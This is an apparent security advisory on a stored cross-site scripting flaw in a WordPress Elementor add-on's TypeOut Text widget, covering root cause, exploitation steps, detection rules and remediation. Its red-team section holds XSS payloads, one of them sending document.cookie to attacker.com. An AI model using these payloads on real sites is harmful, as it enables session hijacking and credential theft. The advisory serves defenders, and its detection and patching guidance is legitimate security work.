CVE-2025-8146

Executive Summary

CVE-2025-8146 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Qi Addons For Elementor plugin for WordPress, affecting all versions up to and including 1.9.2. The flaw resides in the plugin's TypeOut Text widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a compromised page, leading to potential session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's widget handling.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (Qi Addons) and apply patches as soon as they become available. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users with low privileges to inject persistent scripts makes this a significant risk for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the TypeOut Text widget of the Qi Addons For Elementor plugin. The widget allows users to input text attributes that are rendered on the frontend. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can inject malicious JavaScript code into these attributes. The injected script is stored in the WordPress database and executed in the browser of any user viewing the affected page.

Root Cause: The plugin fails to properly escape user-supplied attributes before rendering them in the HTML output. Specifically, the typeout_text attribute or similar parameters are not sanitized using WordPress functions like esc_attr() or wp_kses().

Attack Flow:

1. An attacker logs in with contributor-level privileges.
2. The attacker creates or edits a page/post using Elementor and adds the TypeOut Text widget.
3. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a widget attribute.
4. The payload is stored in the database.
5. When any user (including administrators) visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.9.2):

// In the widget's render method
echo '<div class="qi-addons-typeout-text" data-typeout-text="' . $settings['typeout_text'] . '">';

The $settings['typeout_text'] is directly echoed without escaping.

Patched Code (hypothetical fix):

// Proper escaping
echo '<div class="qi-addons-typeout-text" data-typeout-text="' . esc_attr( $settings['typeout_text'] ) . '">';

The esc_attr() function ensures that special characters are encoded, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Qi Addons For Elementor plugin version <= 1.9.2.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress with contributor credentials.
2. Navigate to Pages > Add New and open Elementor editor.
3. Search for "TypeOut Text" widget and drag it onto the page.
4. In the widget settings, locate the text input field (e.g., "TypeOut Text").
5. Inject the following payload:

   <script>alert(document.cookie)</script>
   

6. Save and publish the page.
7. When an administrator or any user visits the page, the script executes.

Advanced Payload (Session Hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual widget attribute values in Elementor content.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review user activity logs for suspicious page edits by contributors.

Prevention:

• Update the plugin to a patched version once available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/qi-addons-for-elementor/
• Database Entries: Posts/pages containing <script> tags in Elementor widget data.
• Network Traffic: Outbound requests to attacker-controlled domains from compromised pages.
• Log Entries: Unusual Elementor widget modifications by contributor-level users.

Detection Engineering

YARA Rule

rule CVE_2025_8146_Qi_Addons_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-8146 in Qi Addons For Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8146"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $widget_attr = /data-typeout-text\s*=\s*"[^"]*<script[^>]*>/
    condition:
        $widget_attr and $xss_payload
}

Sigma Rule

title: CVE-2025-8146 Qi Addons For Elementor Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Qi Addons TypeOut Text widget
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-content/plugins/qi-addons-for-elementor/"
        http.body|contains: "data-typeout-text"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget attributes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8146 Qi Addons For Elementor Stored XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/qi-addons-for-elementor/"; http_uri; content:"data-typeout-text"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the widget is not critical.
2. Restrict contributor roles to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in widget attributes.

Long-term Fix:

• Apply the official patch from Qi Addons once released.
• Update to a patched version (e.g., > 1.9.2) when available.
• Conduct a security audit of all Elementor widgets for similar vulnerabilities.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this CVE.
• Manually escape widget output by modifying plugin files (not recommended for production).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert